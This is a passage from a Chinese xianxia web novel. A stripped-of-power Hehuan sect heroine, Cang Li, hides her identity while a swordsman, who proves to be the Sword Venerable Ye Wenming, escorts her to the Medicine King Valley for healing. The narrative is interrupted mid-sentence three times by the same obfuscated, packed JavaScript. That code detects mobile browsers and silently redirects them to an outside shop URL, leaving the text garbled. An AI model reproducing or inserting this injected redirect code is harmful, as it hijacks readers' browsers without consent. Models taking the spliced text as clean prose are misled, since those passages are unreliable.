药王谷的谷主来合欢宗采洛花入药时,经常会叹气,说苍黎给火天灵根的合欢宗宗主当徒弟不合适,最适合当她师父的是剑尊叶温明,那也是个水天灵根。 而且,叶温明的徒弟叶永思实在配不上师父。 真可惜啊……苍黎可惜,叶温明也可惜,他们的天赋和才能都被浪费了。 苍黎一边回忆着过往,一边伸出脚,将叶明在地上留的“聚灵”二字抹平。 聚灵能改变山中灵气的流向,让灵气汇聚而来,妖魔鬼怪能看见灵气的流动,他们一定会跟来探看情况,然后你争我抢,本着不能浪费食物的美好品德,把苍黎吃得连骨头都不剩。 他爹的,叶明绝对是故意的—— 用她把山里的妖魔鬼怪们都引出来,届时正好一网打尽! 这死无情道剑修把她当诱饵呢。 等她修为恢复了,她就睡这个叫叶明的,拿走他宝贵的元阳,再把他炼成炉鼎,不分日夜地折辱他,直到他变成人干,半死不活! 天边露出了一丝鱼肚白,这一夜已经快要过去了。 苍黎没有打坐聚灵,她吃了两串红浆果,肚子吃饱了,困意也上来了,打了个哈欠,眼看着就快要睡着了。 叶明出现在她面前。 他没有皱眉,也没有要发怒的迹象,阴冷夜风中,仿佛孤悬于天的月亮的仙人的眼中,只有“不解”二字,他问: “为什么不聚灵?” 苍黎笑着问:“不继续藏在暗处等了?” 片刻的沉默后,他说:“因为没有必要等了,你不会聚灵的。” “‘为什么不聚灵?’” 苍黎将叶明的问题重复一遍,连语气都一模一样,她歪头打量着对方,说, “你好像在疑惑,我为什么不听你的。那么,你展露出来了什么?能让我毫发无伤地脱离危险的实力?能让我心甘情愿当你棋局中棋子的财力?” “你可以以仙人的眼看穿我的一切,但我做不到同样的事,我对你一无所知。你要我配合你做危险的事,那你就必须让我了解一些事,从而取得我的信任。” 叶明问:“你需要了解什么?” 苍黎稍稍考虑,她并没有直接去刺探对方的身份,只是问了和自己相关的问题: “倘若我聚灵引鬼,你能让我全身而退吗?” “可以。” “我观叶仙长身无钱财,可我需要一个有钱都不一定能求得来的机会。” 叶明耐心地问:“什么?” 苍黎像只大张嘴的狮子。 而叶明,他像个什么都能给、拥有无尽财宝的国王。只要苍黎敢要,他就敢给。 苍黎说:“我需要药王谷治疗我的失忆之症,就算治不好,也要尽力而为,而非轻易放弃。” 苍黎紧紧盯着叶明。 她想要得到药王谷的医治其实有很多条路可以走,她问这个问题,其实是想要试探叶明在修界的地位。 叶明不假思索地答应了:“好。” 苍黎要求道:“你对天发誓。” 叶明拒绝了:“我不信天。” 苍黎挠挠头,又说: “那……你对剑发誓?” 叶明不解:“为什么要对剑发誓?” “因为剑是剑修最重要的东西。” 苍黎理所当然地说着, “你姓叶,你是出身于天剑阁吧?” 叶明迟疑片刻才回答:“我的确出身于天剑阁……但,剑对我而言,的确不是我最重要的东西。” 苍黎懵了。 这个姓叶的刚刚说了什么? 剑不是他最重要的东西? 苍黎问:“你不是剑修?” 也许她弄错了什么,天剑阁也没说只允许门中弟子学剑啊,毕竟还得有砍柴的烧火的做饭的……苍黎的思绪很快就被打断了。 “我是剑修。” 苍黎看着肯定自己身份的人,心想: 是不是剑修不知道,但你肯定是个谐修,诙谐的谐。 苍黎满脸迷茫和疲倦,她摊开手,问: “那么,什么是最重要的?正道兴亡?” “不是。”叶明否认了。 “天下苍生?” “很重要,但不是最重要。” 叶明思索片刻,说道, “不过这足以用来起誓了。” 他在认可了“天下苍生”的价值的同时,似乎也在对苍黎说“适可而止,不要再猜了”。 苍黎也没有继续深耕下去的打算。不过她的一部分猜想已经被印证了。为此,她还得继续辛苦一下,藏好自己的身份,一旦在叶明这里暴露,九死一生。 叶明向天下苍生起誓后,便如同之前那样隐去了自己的身形,等待时机。 苍黎盘腿坐在蒲团上,闭上眼睛,吸纳山中灵气。 灵云山上,灵气流动,自四面八方聚来。叶明隐藏在不远处,等着等着,他好像听见了自这些汇聚而来的灵力中,听见了潺潺的、清悦的水声。 有不好的东西也一并来了。 枝稍间、洞穴间,一双双泛着红光或是绿光的眼睛睁开,它们警惕着彼此,又默契地前行,靠近了坐在山水福地聚灵的苍黎。 一只又一只惨白的、指甲尖锐的手伸向她—— 渴望的、贪婪的、丑陋的—— 耳边的声音越来越凄厉,寒冷的阴气刺得苍黎浑身发冷,但她仍然坐得笔挺,纹丝不动,像没有察觉到这些离她不到咫尺的阴森的鬼物。 就在黑夜的爪牙要触碰到苍黎的瞬间,一道剑光自天而降,转眼之间折断了所有的鬼手,又将他们的头颅也一并摘下。 苍黎睁开眼,只看见背对自己的叶明手中拎着颗不断消散成黑烟的鬼首,那鬼首正在哇哇大哭,但哭声很快就随着烟一起散去了。 结束了? 好快。 怪不得非要她聚灵将鬼魂们引来杀,这效率比在山里到处找鬼杀高多了。 叶明的声音响起: “别停,继续聚灵。” 苍黎问:“还没杀完吗?” 也对,一片山的妖魔鬼怪那么多,哪能这么快就杀光? “杀完了。” 叶明走远了些,才回过头来,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096378|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' , “此地灵气丰裕,是一片难得一见的福地,适合修炼,你多练一会儿。” 苍黎:“……” 怎么还操心起她的修炼来了? 罢了,她确实该继续聚灵。如果修为无法恢复,她就只能从头来过。到那时,聚灵到炼气期,是她必须要重走的路。 天亮起来后,苍黎和叶明回到杨展羽家喝了粥,并且将山鬼已经被铲除的好消息带了回来。 杨猎户一家非常高兴,尤其是两个孩子。 “以后就可以尽情在外面玩啦!玩到半夜也不回家!” “玩到爹和娘来找也不回家!和爹爹娘亲玩捉迷……呜哇!不要拧我!” 杨展羽在收拾要带下山去卖的物件时,嘴角也噙着笑意,还乐呵呵地问两个娃娃要不要吃酥糖和奶糖。云城的奶糖贵的哩!寻常人家只有逢年过节才舍得买给娃娃吃。 苍黎和叶明跟着杨展羽下了山,从北城门进了云城后,又走西城门出去。 杨展羽为两人指了路: “仙长和姑娘沿着这条官道一直走,不要拐弯,路上搭一搭马车什么的,走上十天半个月,便能瞧见药王谷的山脚了。” 苍黎道了谢,与杨展羽挥手道别。 她面向官道,用胳膊肘捅了捅叶明,说: “怎么走?御剑吗?” 叶明迈开步子,说:“用脚走。” 苍黎问:“……你没有剑吗?” 叶明不搭腔。 行吧,估计是不愿意让她踩在他的剑上,爱剑如命的剑修嘛,理解。 苍黎又问:“那你有别的飞行法器吗?” “有。” 叶明背着手,语气淡漠, “但我想慢慢走,看看这一路上的山水风景。” 苍黎:“……” 走了不到半日,苍黎就饿了。 叶明对载着苹果、迎面而来的马车招了招手。 马车停下,车夫问: “要搭车?车里没……” 叶明伸出手,道:“给个苹果。” 车夫说:“一个苹果一文钱,你们要几个?” 叶明:“……” 苍黎:“…………” 之后的半刻钟里,车夫怒骂两个穷鬼没钱还拦车,乞讨都没个乞讨的态度。骂完后,车夫一甩鞭子,架着马车,朝着云城的方向扬尘而去。 苍黎绝望道:“怎么办啊?” “吃丹药。”叶明给出了一个好主意,“打坐纳气,辅以辟谷丹,用上一两月时间,你就辟谷了。” 苍黎问:“那你有辟谷丹吗?” 叶明平淡地陈述事实: “我没有那么基础的丹药。” 苍黎已经懒得骂他了。 次日晌午,饿得前胸贴后背的苍黎拉着叶明蹲在田埂上,把点燃的干草往田鼠洞里塞。 叶明问:“你一定要吃老鼠吗?” 苍黎用从叶明的乾坤袋里扒出来的外衫罩住从另一个洞口跑出来的田鼠,她面无表情地跟叶明对视,说: “那我们去偷果园里的梨子。” 叶明手伸进袖子里,不一会儿,他摸出个梨子,用袖子擦了擦,递给苍黎,道: “我用法术摘的,小心点,别叫守梨园的人瞧见了。” 苍黎抬头去看梨园—— 梨园离这里很远,所谓守梨园的人,在她的视野里只有蚂蚁大小。 能瞧见个鬼。 5. 被拉黑了 梨园的梨,野生的柿子,河里的鱼,天上的鸟,老树桩上的蘑菇……这半个月里,苍黎尝尽山珍河味,还中毒了一次,但被叶明乾坤袋里那瓶陈年老药救回来了。 她简直无语了! 她知道那蘑菇有毒,她是故意吃的。她以为她口吐白沫,叶明就会立马把她送进药王谷寻求医治,没想到这厮有的是丹药。 叶明或许是知道她有多想念用炉灶烧出来的饭菜,刚到药王谷山脚下的悦城,就提议要去城里最大的酒楼下馆子。 苍黎摆了摆手: “下馆子要花钱的。” 快死的鱼甩尾巴的时候,都比她摆手摆得有力气。 “嗯,我知道。” 叶明拿着乾坤袋进了当铺,和当铺的人讨价还价后,用乾坤袋里的某件杂物换来了十个铜子。 苍黎目光怜爱: “这点钱可不够去杏楼吃饭。” 这一路上,叶明的行为都很……扭曲。 分不清东西南北,走路凭感觉确定方向。不愿意吃田鼠,但那些不知名野草野果他都会薅起来尝尝,也不管有毒没毒。休息时拉着苍黎打坐修炼,还给她讲解剑谱。 很多时候,苍黎脑子里都盘旋着一个亘古难题: 他到底要干什么? “我知道。” 叶明拿着十个铜子,转头进了赌坊,用十个铜子换了一个筹码,押在赌桌上。 唉,已经不想看了。 苍黎扭头去观摩别的牌桌了。 药王谷是个大宗门,药王谷山脚下的悦城也是个繁华的大城,赌坊也生意兴隆,门庭若市。 有不少人在这里不赌只看,顺便聊聊天下大事。 “听说魔君痛失一员大将?” “痛什么痛啊,就是他自个儿杀的。合欢宗那小妖女喝完忘情水还失踪了,谁也找不着她。魔君心情不好,那魔将为了哄他高兴,物色西境美女,给魔君办了场选妃盛典,魔君直接把他脑袋摘下来了。” 苍黎懵了一瞬。 忘情水? 她什么时候喝忘情水了? 失去修为和忘情水有关吗? 忘情水是药王谷的一种灵药,可它只对修为不到筑基期的修士和凡人有用啊,怎会在已经元婴期的她身上起效?还害得她失去修为?没听说过忘情水有这功能啊? “好心没好报啊。” “是啊,那苍黎作为女人,除了漂亮,还有什么好?为何有这么多人对她念念不忘?甚至还为她杀了忠诚的下属,昏聩,昏聩啊!” “北域没出事吗?妖皇没疯?” “妖皇疯了要命是人尽皆知的事情,大家早在他发疯前就躲起来了,现在北域安静到冷清,比幽界那全是死鬼的地方还没生气。” 苍黎捧了杯不要钱的茶,一边品着茶水中的糯米香,一边听着赌客们的议论。 “只是漂亮?你们将这‘漂亮’二字形容得何其容易?你们可知,她的容颜是何等倾国倾城,一眼荡魂?我有位师兄,只是遥遥地看了她一眼,便道心摇晃,走火入魔了,如今还被师父关在万丈山呢。” 苍黎淡然地想:嗯,好茶…… 赌坊中逐渐喧闹。 “又赢了?” “兄台,你莫不是出千了?” 苍黎朝着人声望去,便看见坐在赌桌前的叶明,他面前的筹码已经翻了数十倍,摞成一座小山,再赢下去,便该换桌了。 二楼木栏后,身着短衫的伙计问: “坊主,要下去瞧瞧吗?” “出千若没被抓到,便不算出千,这是赌坊的规矩。” 身着华贵紫衣的坊主摇了摇手中的镂空金扇,朝着赢了又赢的白衣修士投去目光,他摇摇头,道, “纵观东西两境,上下两界,人或非人,恐怕也罕少有人能抓得住这位出千。” 伙计不解: “那就叫他如此赢下去?” 坊主从容不迫地回答伙计的担忧: “他欲望低下,若非需要用钱,绝不会进赌坊这种地方。他也不会一直赌,赌到需用的钱,便会停手了。这点钱赌坊还是出得起的,就当请他喝茶了。” “下去给弟兄们说一声,莫找他麻烦。” 伙计更加疑惑了,但还是应下:“是。” 午时之前,叶明停止了赌博,他将筹码全部换为金银,朝楼上的苍黎望了一眼,转身离开赌坊。 苍黎连忙下楼跟上去。 他们去了杏楼,要了二楼一处雅间,伙计先送了茶水,又端着一盘写着菜名的竹简过来,娴熟地推荐起杏楼的招牌菜。 叶明对苍黎说: “你点吧,想吃什么都行。” 苍黎问:“你不点?” 叶明点点头,一副对菜式毫无兴致、清心寡欲的模样。他辟谷多年,早已对食物没了追求,哪怕是杏楼,也无法打动他的胃口。 苍黎没再客气,将招牌菜全点了一遍。 她原本就爱吃,再加上修为尽失,必须吃东西,以及这半月来跟着叶明在吃食上受了不少苦,她看着竹简上这些雅致的菜名都两眼放光。 之后恐怕还要苦上一段时日—— 她需要药王谷医治她,医治期间应当会服用不少苦口良药,也需对吃食格外注意。 此时不吃,何时才能再满足舌头? 饭食很快上桌,苍黎没客气,立马就动了筷子。 芙蓉豆花鲜美,玉指凝香温润,松鼠鳜鱼酸甜,麻婆豆腐咸辣爽滑……这些食物,苍黎从前来悦城时常吃,吃得厌烦,就叫药王谷五谷堂的弟子做药膳解腻。哪里想到,这些她曾瞧不上眼的东西,如今竟成了顶好的东西。 怪不得有些门派对弟子非打即骂,又有些大家族总罚孩子不许吃饭—— 苦难当真是能磨平棱角。 叶明瞧着她,问: “好吃吗?” 苍黎把名叫凤凰展翅的窑鸡推过去,道: “尝尝?” 叶明敛回目光,低头品着杏楼从滇城买回的上好的、带着蜀香、又有些焙火气的金针茶,放下茶杯后,唇角噙着不明显的笑意,说: “你觉得好吃便好。” 苍黎咽下口中食物,好奇地打探: “你在赌场出千了吗?” “出了。” 苍黎:“……” 哇,真出千了。 叶明问:“你想说什么?” 苍黎想说他身为东境天剑阁、那自诩正道门派的剑修,道德感似乎有点低下。但想到他这一路上无论偷梨还是出千,都是为了让她填饱肚子,苍黎就不好意思将这话说出口。 苍黎问:“靠法术出的吗?” “不,我没有用法术。” 叶明否认后,又耐心解释, “用法术出千很方便,我也能做到尽可能隐去痕迹。但这药王谷脚下,人来人往,或许会有些奇人,还是能发现我在出千。所以,出千这种事,不如靠自己的双手来做。” “况且,赌坊也会出千,赌到后面,看谁的千术更高超罢了。” “那你这双手很厉害啊。” 苍黎打量着叶明那只握着茶杯、骨节分明的手,问, “你应当学过千术吧?可你瞧起来,不像是会学这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096379|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种东西的人。” 叶明淡淡答道: “一位不正经的朋友教的。” 苍黎低下头继续吃饭。 “你想学吗?” 苍黎拿筷子的手僵住,她把嘴里的饭硬咽下去,抬起头看向叶明。她想弄明白这个剑修脑子里在想什么,可惜,对方的神情一如既往地寡淡,什么都看不出来。 苍黎问:“教人出千不好吧?” “出千只是一门手艺。” 叶明拿起水壶与盖碗,又为自己泡了一泡金针茶。他泡茶的动作行云流水,泡出的橙红茶汤透彻清亮,看起来精通茶艺,可能是很爱喝茶。他说, “正如东西两境各类修士与妖魔鬼怪,百年甚至千年磨练之修为、技艺,好或不好,只看用去做什么。” 苍黎觉得这正道修士当真是有趣,问: “你是说,世上也有好妖好魔好鬼?” 叶明点点头,答道: “或许数量少些,但必定会有。” 他话语顿了顿,突然想到什么似的,对苍黎说: “若你与他们并无仇怨,也别太敌视他们。” 苍黎提醒道:“你半个月前才灭了整个灵云山的鬼魂。” 叶明并不觉得自己言行矛盾: “鬼魂为阴物,在阳间存在一日,身上阴气便会对阳间造成一日的损伤。我身为正道,不可容忍鬼魂停留于阳间。” “若鬼魂去往他们应去的阴间,也就是幽界。只要他们未做错事,鬼王也安分老实,我绝不会动他们一魂一魄。” 行吧,这位叶仙长,是个有原则的正道。 苍黎很快就吃饱了,叶明的金针茶也泡得颜色淡了,他们该离开杏楼,前往药王谷了。苍黎叫来伙计,将剩菜打包,拎着一个个油纸包走出杏楼,直奔药王谷山道。 药王谷山道上,有守山的弟子。 他们右手拿着黑金色的粗棍,左手则持着一朵漂浮的金莲花。 这金莲苍黎认得,是一种法器,出自万佛山。金莲为灵金铸造,有一百零八片花瓣,注入灵力后,花瓣会全数散开,组成各种形状,可攻可守。 据说药王谷从前经常有病患伤患闹事,医修、丹修一门心思扑在医人和炼丹上,不擅长打斗,时常受伤。 后来,药王谷的新谷主觉得这样不行,便向万佛山请教,学了棍法与御器,才成就现在能够镇住大多求医者的药王谷。 苍黎和叶明毫无意外地被守山弟子拦下了。 “两位,请问你们的身份是……” 叶明简短地说明了两人的来历: “我出身于东境天剑阁。这位姑娘是我在路上遇见的,她落水后记忆全失,我带她来求医。” 药王谷守山弟子客气又不容置疑地说道: “请道友出示天剑阁弟子玉简。” 叶明迟迟没有动作。 苍黎从长久的沉默中感觉到了不对劲,用手肘去捅叶明,小声问: “怎么了?” 叶明答道:“没带玉简。” 苍黎:“哈?” 不是……玉简这东西相当于修士的身份证明,除了潜入敌营的时候,不都是要随身携带的吗?不带玉简的修士,跟野人有什么区别? 苍黎问:“那我们怎么进去?” 叶明摸出灵镜,道: “我可以联系谷主,让他下来接人。” 说罢,他在灵镜上操作几下。 叶明:“……” 他陷入了更长久的沉默。 苍黎急得不行,问:“又怎么了?” “丹迭子把我拉黑了。” 6. 叶温明 丹迭子,是那位只余传说、不见踪迹的药圣烛九的曾徒孙,他得了药圣的一分真传,于妖魔鬼三方祸世时出世,为当今修界的太平立下汗马功劳,也因此登上药王谷谷主之位,深受尊敬。 苍黎此次来药王谷,就是希望丹迭子能出手医她,帮她恢复修为,让她这缕西境的红颜祸水继续长流。 但她怕是见不到丹迭子了…… 苍黎扯着叶明,问:“你医闹过?” 叶明细细思索,说: “我曾因没有方向感向他求助过,没医出个所以然来,但也未曾闹事。而且,我与他在雪庐煮过酒,也曾护他去秘境采摘奇珍异草……我们的关系应当还算不错。” 苍黎:“……” 护丹迭子去采药草? 倒也合理,药王谷修士虽然在万佛山进修过,但仍然战力低下,远不如同等境界的剑修和体修能打,甚至能被他们以下克上。去那些险象环生的秘境时,多带几个剑修、符修保镖,才能活着把药采回来。 能保护境界在化神期的丹迭子,叶明的修为境界应该也在化神期?就算不是,也应该有合体期了。 比修为尽失前的苍黎高一个大境界。 不过这不重要,重要的是,她究竟要怎样进入药王谷,见到丹迭子? 自爆身份? 不知道叶明和叶永思关系如何,万一关系不错,她很可能被叶明砍死,又或者交给剑尊处置。这十几日的同行之情,是战胜不了多年的同门情谊的。 且她的追求者中有病的太多。 脑子有病的那个病。 那些对她求而不得的人,若是知道她没有了修为,说不定会把她带走囚禁起来玩赏。她没有受虐的癖好,不想给人当宠物。 找到靠谱的保护者之前,她不能对外泄露自己的身份和行踪,医治也需要秘密进行。 “关系再好,见不到面也没用。” 苍黎拍拍叶明的肩膀,说, “钱还有剩余吧,先在悦城找个落脚的地方……你要干什么?” 叶明并指为剑,道: “要证明身份,并非只有出示玉简。” 话语刚落,寒光迸射,风因肃杀剑气而凝结,天光失色,只余冰冷刺骨的剑意。 守山弟子下意识让手中金莲的花瓣散开,又聚成一面圆盾,护在身前。 叶明收敛剑意,剑指在盾前停下,只余一寸,他便可以指头,将这盾戳破,并贯穿守山弟子的胸口。 顷刻间与死劫擦肩而过,守山弟子连呼吸都忘了,额上和身上渐渐沁出冷汗来。 待反应过来之后,守山弟子匀了匀自己的气息,有些惊恐地看着叶明,将金色莲花瓣收起,规矩作揖,道: “这位前辈,请恕我们失礼,我们也只是按规矩办事。前辈在谷中可有相识之人?若有,我们便立即去请,为前辈证明身份。” “没必要。” 叶明从容地退后数步,说, “刚才的剑意,贵谷的谷主和长老应当都感觉到了,很快便会过来。” 苍黎颤颤巍巍地伸出手,拉住叶明的衣袖。 叶明问:“怎么了?” 苍黎没有回答,直接软塌塌地倒了下去。 叶明:“?” 苍黎在意识彻底黑沉之前,听见了守山弟子急而不慌的声音: “人晕了!快看看怎么回事!” “没事没事,还活着。” “是个凡人,恐怕是被刚刚那剑意波及到才晕的。前辈放心,这位姑娘只是脉象有些不稳,没有大事,稍加处理即可,过不了多久就会醒了。” 苍黎强撑着在心里问候完叶明的师门上下,列祖列宗,才彻底晕厥过去。 丹迭子御着飞行法器赶到了,他感受到剑意了,直到来的人是谁,冲上来就是一阵劈头盖脸的怒骂: “我操!那些妖魔鬼怪来药王谷闹,我向你求援的时候你不来也就算了,你怎么也要闹?你要干什么?” 叶明很是平静地解释道: “忘带玉简了,守山弟子不让我进山。” 丹迭子问:“你不会用灵镜联系我吗?” “你把我拉黑了。” 丹迭子:“……” 丹迭子拿出灵镜,骂骂咧咧地把叶明从黑名单里放出来,问: “那群妖魔鬼怪已经走了,药王谷不需要你救了,你现在还来做什么?” “求医。” 叶明侧头,淡淡地看着已经被药王谷弟子围住的苍黎,说, “我从河里把她捞上来的,她失忆了,什么都不记得。我想请你为她医治一下。” 丹迭子:“……” “你怎么到处捡东西?” 丹迭子头疼不已, “上次捡了一只小灵兽,上上次捡了一只幼年狐妖,上上上次……你捡就算了,还都扔给药王谷治,还不付钱,你把药王谷当万佛山那群搞慈善的了?” 虽然嘴上在抱怨,但丹迭子还是打算看看病患,他拨开正在为苍黎进行紧急处置的弟子,看清苍黎的脸,他瞬间懵了,压抑许久才咽下已经滚到喉咙边的那句“操”。 “路上我让她给我帮了忙,帮忙的前提条件是,我请你来医治她。” 叶明对丹迭子说, “你开条……” 丹迭子不等叶明把话说完,对药王谷弟子说: “把人抬到我的药庐去,我得好好为这位姑娘诊治。这几天谷里有什么问题,就找副谷主或者舒云处理。” 叶明问:“不开条件?” 刚刚还一副“你又给老子找事”嘴脸的丹迭子态度大变,伸手拍拍叶明的肩膀: “咱俩这关系,开什么条件?” 叶明不太确定,问:“也不要钱?” “你有钱吗?” 叶明:“……” 真是一针见血。 “我这就去药庐医你好心捞的姑娘,你先去雪庐住着吧,我若有闲空,会去雪庐帮你调理。” 丹迭子拿了块令牌给叶明, “持此令牌者为谷主贵客,谷中巡山弟子不会为难你。” 他并不担心巡山弟子为难叶明,他更担心叶明为难他药王谷的弟子。 叶明接过令牌,又瞧了苍黎一眼,就直接飞往雪庐了。他与丹迭子相识多年,见丹迭子治好过一个又一个疑难杂症,所以,他很是放心丹迭子的医术。 苍黎被带回了丹迭子的烛龙药庐。 正如先前为她做紧急处置的弟子所说,她虽被剑意波及到了,但并没有大碍,很快就醒了过来。 丹迭子就在床边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096380|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他搭着苍黎的腕脉,不断叹气。 “丹谷主,别叹气。” 苍黎对丹迭子说, “你们医修一叹气,我就害怕。” 丹迭子问:“叶……明,他说你失忆了,你真的失忆了吗?” “没有,装的。” 苍黎解释了自己为什么要装失忆, “我被打捞上来后,发现自己与凡人无异,没有自保之力。我不知道叶明是敌是友,万一他很恨我,弄死我怎么办?” 丹迭子赞赏道:“不错,很明智的选择。” “别提他了,跟我解释下我的事情吧。” 苍黎对丹迭子说, “我为何会突然失去修为?我听见有人议论,说我是喝了忘情水才下落不明的?我真的喝了忘情水?” 丹迭子回答道:“你误喝了苍月的忘情水。” “可是,你们药王谷的忘情水,只对修为在筑基以下的修士有效,而且也不会影响修为……” 苍黎拧了拧眉毛,心中疑虑越来越多,问, “我师姐为何要喝这无用的忘情水?” 丹迭子问:“你可知道烛九?” “当然是知道的。”苍黎说出自己对烛九的了解,“药圣烛九,你的曾师祖,很多人都想见他,但他神龙不见首尾,难以寻找。” “对,难以寻找。” 丹迭子抬手揉了揉额角,说, “但你师姐找到了,死老头专门为她做了一瓶忘情水,能对她起效,但这忘情水有副作用,就是会修为尽失。” 原来是这样。 她喝的那杯酒,原来就是忘情水啊。 丹迭子问:“你不生气吗?” 苍黎抬手捂住脸,有些绝望: “我不生气,修为不重要,丢了可以重修,反正合欢宗功法修炼快。我比较担心我师姐,她的忘情水被我喝了,那她要怎么办?她都快因为佛子走火入魔了。” “那个……呃……” 丹迭子顿时心虚起来,他在苍黎的注视下,闭上眼睛不敢看她,破罐子破摔地说道, “你还是先担心你自己吧……你情根半毁,虽还有喜怒哀乐恨,但再也感受不到情爱,修不了合欢宗功法了。原本这药不会毁情根的,但它是为你师姐量身打造的,不适合你,所以才有了这样的副作用。” 苍黎瞪圆了眼睛,问: “还能治好吗?” 丹迭子摇了摇头:“只能试一试。” 苍黎躺下,手背贴着额头,望着漂亮讲究的帷幔,闻着满屋子的药香,心想: 多半是完了。 “我去瞧瞧你的药。” 丹迭子起身要走,又回头交代道, “对了,千万别对带你来的那个叶明放松警惕,和他相处的时候一定要谨慎,失忆要继续装下去——你就像之前的半个月里一样,不要让他知道你是合欢宗的苍黎,我会想办法给你找个合适的身份,在那家伙面前蒙混过关。” 苍黎问:“他和叶永思关系好?” 丹迭子摆了摆手:“是挺好,他是叶永思没离开天剑阁之前的师父。” 苍黎惊恐道:“……你说他是谁?” “东境天剑阁之主,剑尊叶温明。” 苍黎脑袋一歪,直接晕过去了。 7. 选我吧 苍黎梦见了往事。 携带着邪气的黑火熊熊燃烧,家里各处都响起凄惨的叫声,还有不断呼救、乃至声嘶力竭的人。 她被母亲塞进了只有一半水的水缸里。 “离离,你记住,如果有人问你,家里为什么会起火,你就回答不知道。” 母亲怜惜地捧着她的脸,说, “明白吗?” 她满含泪水,问: “娘亲?娘亲!你要丢下我吗?” 母亲再未回答她,而是背对着她,投身于火海。 这场邪火惊动了很多人,尽管大家已经齐心协力地救火,但火势却迟迟难灭。直到合欢宗宗主苍楚听闻此事,亲自出手,才灭了这户人家的火。 所有人都死了,只有水缸里还有个孩子。她本该被憋死,但微弱的灵气保护了她,让她得以苟延残喘到苍楚的到来。 离离对苍楚的第一印象,是这个大姐姐很漂亮。 苍楚低下头来,温柔地看着她,说: “水属性天灵根啊……真是修炼的好苗子,你要跟我去修行吗?” 离离捏着衣襟,她回头看着自己的家,这里已经一片焦黑,但她仍然舍不得走。 苍楚又问:“对了,小姑娘,你知道你家为什么被烧吗?” 离离一怔,她摇了摇头,眼泪哗啦啦地淌,在苍楚面前嚎啕大哭: “我不知道,我不知道……为什么烧我家?我爹爹娘亲从来没做过坏事,他们是好人,好人不应该活得更长吗?我没有家了,我没有家了!” 苍楚没有回答,只是弯下身,将她抱起来,温柔地拍着她的背。 梦境渐渐地黑了下去。 苍黎从睡梦中醒来,她很平静,完全不似梦中那般伤心。她下了床,用桌上的羊脂玉壶给自己倒了杯茶喝。 梦中所见,已是百年前的事情了。 她曾经夜夜被这梦惊醒,后来她学会了打坐,不怎么睡觉了。即使偶尔在采补时累到睡着,也很少梦见这段过往了。 苍黎不觉得自己是无缘无故做了这个梦。 这梦境是在提醒她—— 千万不要将不该忘的事遗忘了。 屋门被推开了,挽了弟子发髻,穿得干净利落的青衣少女捧着托盘走进来。那托盘上有一只保温用的灵壶,还有一只空的白瓷碗和一小碟蜜钱。 苍黎惊喜道:“舒云?” 舒云是丹迭子的徒弟,不同于合欢宗宗主苍楚让徒子徒孙开枝散叶、能多收一个就多收一个的想法,丹迭子只有舒云一个徒弟,悉心教导呵护,且早已放言,药王谷的下一任谷主就是舒云。 舒云是个很乖的徒弟。 只是表面乖,她的内心很是不羁奔放。 她跟着丹迭子去采一些只有合欢宗才有的灵药时,被苍黎的美貌以及“男人如衣服,穿烦了换一件”的理念大大震撼,问: “女人呢?” 苍黎一本正经地说: “女人可以做姐妹,做了姐妹就是手足啊。” 舒云觉得这人能处,拿出一堆丹药示好。 苍黎也送了她美男图,还给她看了她一直很好奇的合欢宗双修之法的秘籍。 两人就这么成了朋友。 “离离……” 舒云把托盘放在桌上,忍不住大哭, “你吓死我了!你知道吗?人失踪越久,生还的可能性就越小。你半个月都没音讯,我都已经认了,我以为我再也见不到你了。” “没办法啊。” 苍黎叹了口气,说, “剑尊从捞到我的地方到药王谷,对他来说不过是御剑飞一会儿的事,但他硬生生带着我走了半个月。” 舒云不太能理解:“他想干嘛?” 苍黎也不知道叶温明抽什么风,摊开手,无辜道: “我哪知道?” 舒云提起药壶,将褐色的药液倒进白瓷碗中,把白瓷碗推给苍黎,说: “喝药。话说,你知道药王谷因为你生出了多少风波吗?” “我那些姘头找上门了?” 苍黎端着白瓷碗,看着里面的药,眉头紧皱着,说, “你师父没说我喝掉的忘情水是药圣做的吗?” “说了啊,可是他们又找不到我曾曾师祖,就只能找药王谷。” 舒云朝苍黎勾了勾手,压低了声音,问, “你知道我师父怎么躲过这一劫的吗?” 苍黎眼睛亮亮的,问:“他怎么做的?” 舒云笑了起来: “喝药,喝干净了就告诉你。” 苍黎:“……” 套路,全都是套路! 苍黎捏着鼻子把药灌下去了,她放下碗,迅速拿了个蜜钱丢进嘴中: “现在可以说了吧?” 舒云小声说: “我师父当着你那些姘头的面,把我曾曾师祖的名字从药王谷宗谱里勾掉了,说药圣烛九再也不是药王谷的人。” 苍黎:“……嘶。” 苍黎扯了扯嘴角,说: “把曾师祖逐出师门,丹迭子真颠啊。” 